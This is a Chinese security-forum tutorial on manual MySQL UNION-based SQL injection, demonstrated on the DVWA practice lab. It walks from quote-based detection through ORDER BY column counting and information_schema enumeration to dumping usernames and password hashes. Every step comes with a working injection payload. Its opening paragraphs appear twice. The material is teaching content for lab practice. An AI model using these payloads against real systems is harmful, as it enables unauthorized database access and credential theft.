安全矩阵

 找回密码
 立即注册
搜索
查看: 2320|回复: 0

MySQL⼿注之联合查询注⼊详解

[复制链接]

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
发表于 2021-4-20 22:24:01 | 显示全部楼层 |阅读模式
本帖最后由 pukr 于 2021-4-20 22:24 编辑

MySQL联合查询注入原理
union select 联合查询,即合并(取交集,结果中没有重复⾏)前后两个查询;前提是前后查询视图必须拥有相同数量的列,列也必需拥有相同的数据类型。


Union联合查询注入基本流程


1、判断是否存在注入
方法一:单引号法MySQL联合查询注入原理


union select 联合查询,即合并(取交集,结果中没有重复⾏)前后两个查询;前提是前后查询视图必须拥有相同数量的列,列也必需拥有相同的数据类型。


Union联合查询注入基本流程


1、判断是否存在注入
方法一:单引号法


  1. 注入点'
复制代码

方法二:逻辑法

  1. and 1=1
  2. and 1=2
  3. 1' and '1'='1
  4. 1' and '1'='2
复制代码


方法三:运算法

  1. -1
  2. -0
复制代码


2、猜解表名
常见的表名:


  1. admin
  2. user
  3. admin_user
  4. system
复制代码



3、猜解字段数

  1. order by xx
复制代码


4、猜解字段名
常见的字段名:


  1. username
  2. password
  3. user
  4. pass
复制代码



5、获取数据

  1. union select 1,2,3... from 表名
复制代码



MySQL手注之联合查询注入详解


测试环境:dvwa

注入点:http://127.0.0.1/dvwa/vulnerabilities/sqli/




靶场注入语句:

  1. $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
复制代码



1、判断是否注入

我们可以判断是否存在注入:


  1. 判断注入语句:
  2. 1' and '1'='1
  3. 这样我们的 and 就逃逸出来了(为了闭合):
  4. $query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1';";
复制代码





  1. 1' and  '1'='1   返回正常!
复制代码

  1. 判断注入语句:
  2. 1' and '1'='1
  3. 这样我们的 and 就逃逸出来了(为了闭合):
  4. $query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' and '1'='1';";
复制代码




  1. 1' and '1'='2 返回不正常说明存在注入!很显然这是一个`字符型`注入!因为它用引号包裹起来了!
复制代码



PS: 字符型和数字最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

2. 猜解字符数

  1. 注入的语句:
  2. 1' order by 1#
  3. 带入进查询就是这样的:
  4. $query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#';";
  5. 注释:# 就是注释后面的内容,这样我们的 order by 就逃逸出来了!
复制代码


我们先 order by 3 发现错误:

  1. 1' order by 3#
复制代码




order by 2 发现正常:

  1. 1' order by 2#
复制代码




说明字段数有2个!

3、联合查询
获取当前数据库和数据库用户名:


  1. 注入语句:
  2. 1' union select database(),user() #
  3. 带到数据库执行就是:
  4. $query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user() #';";

  5. 注释:
  6. database()  是一个mysql的函数,意思是查询当前数据库名
  7. user() 意思是查询当前数据库的用户名
复制代码



  1. 查询出来发现当前数据库名是:dvwa,数据库用户名是 root !

  2. 获取当前的数据库版本和操作系统:
复制代码

  1. 注入语句:
  2. 1' union select version(),@@version_compile_os #
  3. 带到数据库执行就是:
  4. $query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os #';";

  5. 注释:
  6. version() 是一个函数,意思是查询当前数据库的版本信息
  7. @@version_compile_os 是一个函数,意思是查询操作系统信息
复制代码





有上图可见,我们的MySQL数据库版本为:5.5.53,而我们的操作系统信息是win32,说明是windows操作系统!

为什么要获取MySQL的版本?

因为当MySQL的版本⼩于4.0时,是不⽀持union select联合查询的;当MySQL版本⼤于 5.0时,有个默认数据库information_schema,保存了 Mysql服务器所有数据库的信息,如数据库名,数据库的表, 表栏的数据类型与访问权限等。该数据库拥有⼀个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

4、获取表名
因为我们查询出来了MySQL的版本是大于5.0的,那么我们就可以利用联合查询 union select 来对他的数据库下的表名进行查询!



  1. 注入语句:
  2. 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
  3. 带入数据库查询执行就是:
  4. $query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#';";

  5. 注释:
  6. information_schema.tables  information_schema下的tables的数据表包含了两个字段:tables_name、tables_schema,分别记录dbms中的存储的表名所在的数据库
  7. where table_schema= 'dvwa'  这里使用了where条件语句指定了查询的数据库名为:dvwa
  8. 总的语句的意思就是,查询dvwa这个数据库名下的所有表名
复制代码






由上图可见,我们查询出来 dvwa 数据库下有两个表:guestbook、users 两张表!很显然我们的敏感信息就在 users 这张表里!

5、获取表中的列名
我们得到的信息有,数据库名:dvwa,表名:users,接下来就查表users下的列名:


  1. 注入语句:
  2. 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
  3. 带入数据库查询执行就是:
  4. $query  = "SELECT first_name, last_name FROM users WHERE user_id = ' 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #';";

  5. 注释:
  6. group_concat(column_name)  group_concat()这个函数是吧所有的信息一次性列举出来,返回一个字符串结果!而他里面的column_name就是我们所有列名
  7. information_schema.columns  这个表里存放的是我们数据库中所有的列名信息
  8. where table_name='users'  使用where条件来指定我们要获取users表下的列
复制代码






由上图可见,我们得到了所有的列名:
user_id
first_name
last_name
user
password
avatar
last_login
failed_login

其中铭感的列名就是 user、password,我们就查询他们两个列名下的数据!

6、获取数据
到了最后一步,我们得到的信息有:数据库名:dvwa、表名:users、列名:user、passoword

这个时候我们就可以来使用联合查询 union select 来查询 user 、 password 列里的数据了!


  1. 注入语句:
  2. 1' union select user,password from users#
  3. 带入数据库查询执行就是:
  4. $query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#';";

  5. 注释:
  6. union select  将多个select的语句的结果合并到一个结果集中里!因为我们注入语句前面就已经是一个查询语句了:SELECT first_name, last_name FROM users WHERE user_id =,而我们使用 union select 就可以吧前面和后面的SQL语句合并为一个SQL语句来进行查询!
复制代码





[size=14.6667px]由上图可见,我们获取到了他们的账号和加密的密码!至此MySQL手工注入之联合查询就到此为止!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 03:40 , Processed in 0.012804 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表